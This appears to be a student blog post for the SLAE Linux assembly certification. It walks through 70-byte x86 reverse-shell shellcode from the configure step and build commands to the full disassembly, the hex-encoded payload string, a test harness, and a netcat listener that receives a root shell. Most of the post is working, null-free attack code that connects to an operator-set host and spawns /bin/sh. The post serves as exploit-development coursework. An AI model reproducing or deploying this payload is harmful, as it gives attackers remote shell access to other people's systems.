This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
Like the previous bind shell, this one is using the well known socket functions. Given that it is supposed to connect to a remote system, it needs to call the connect(2) function instead of accepting. There’s also no need of binding, since the kernel will automatically choose an ephemeral port and determine the source IP address.
To define the remote host and port, like with the bind shell, the configure script should be used with the -h (127.1.1.1 by default) and -r (4242/tcp by default) command-line options:
$ ./configure -h 127.2.2.2 -r 1337
Using remote host: 0x0202027f
Using listening port: 0x9210
Using remote port: 0x3905
$ ./configure -h 127.0.0.1 -r 1337
Host contains NUL bytes!
$ ./configure -h 127.3.3.3 -r 1280
Port contains NUL bytes!
$ ./configure
Using remote host: 0x0101017f
Using listening port: 0x9210
Using remote port: 0x9210
$ cd 0x02-reverse/
$ make
nasm -f elf32 -o reverse.o reverse.asm
ld -N -zexecstack -o reverse reverse.o
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 99 cdq
8048063: 66 b8 6701 mov ax,0x167
8048067: 6a 02 push 0x2
8048069: 5b pop ebx
804806a: 6a 01 push 0x1
804806c: 59 pop ecx
804806d: cd 80 int 0x80
804806f: 93 xchg ebx,eax
8048070: 66 b8 6a 01 mov ax,0x16a
8048074: 68 7f 010101 push 0x101017f
8048079: 66681092 pushw 0x9210
804807d: 66 6a 02 pushw 0x2
8048080: 89 e1 mov ecx,esp
8048082: 6a 10 push 0x10
8048084: 5a pop edx
8048085: cd 80 int 0x80
8048087: 6a 02 push 0x2
8048089: 59 pop ecx
0804808a <bind_dup2_loop>:
804808a: 6a 3f push 0x3f
804808c: 58 pop eax
804808d: cd 80 int 0x80
804808f: 49 dec ecx
8048090: 79 f8 jns 804808a <bind_dup2_loop>
8048092: 99 cdq
8048093: 50 push eax
8048094: 6a 0b push 0xb
8048096: 58 pop eax
8048097: 68 6e 2f 7368 push 0x68732f6e
804809c: 68 2f 2f 6269 push 0x69622f2f
80480a1: 89 e3 mov ebx,esp
80480a3: 41 inc ecx
80480a4: cd 80 int 0x80
Shellcode size: 70
\x31\xc0\x99\x66\xb8\x67\x01\x6a\x02\x5b\x6a\x01\x59\xcd\x80\x93\x66\xb8\x6a\x01\x68\x7f\x01\x01\x01\x66\x68\x10\x92\x66\x6a\x02\x89\xe1\x6a\x10\x5a\xcd\x80\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x99\x50\x6a\x0b\x58\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x41\xcd\x80
cc -DSHELLCODE=`asm-opcodes reverse` -W -Wall -fno-stack-protector -zexecstack -o shellcode ../skel.c
1234567
$ nc -lv 127.1.1.1 4242
Listening on [127.1.1.1](family 0, port 4242)Connection from localhost 38844 received!
id
uid=0(root)gid=0(root)groups=0(root)# ./shellcodeShellcode length: 70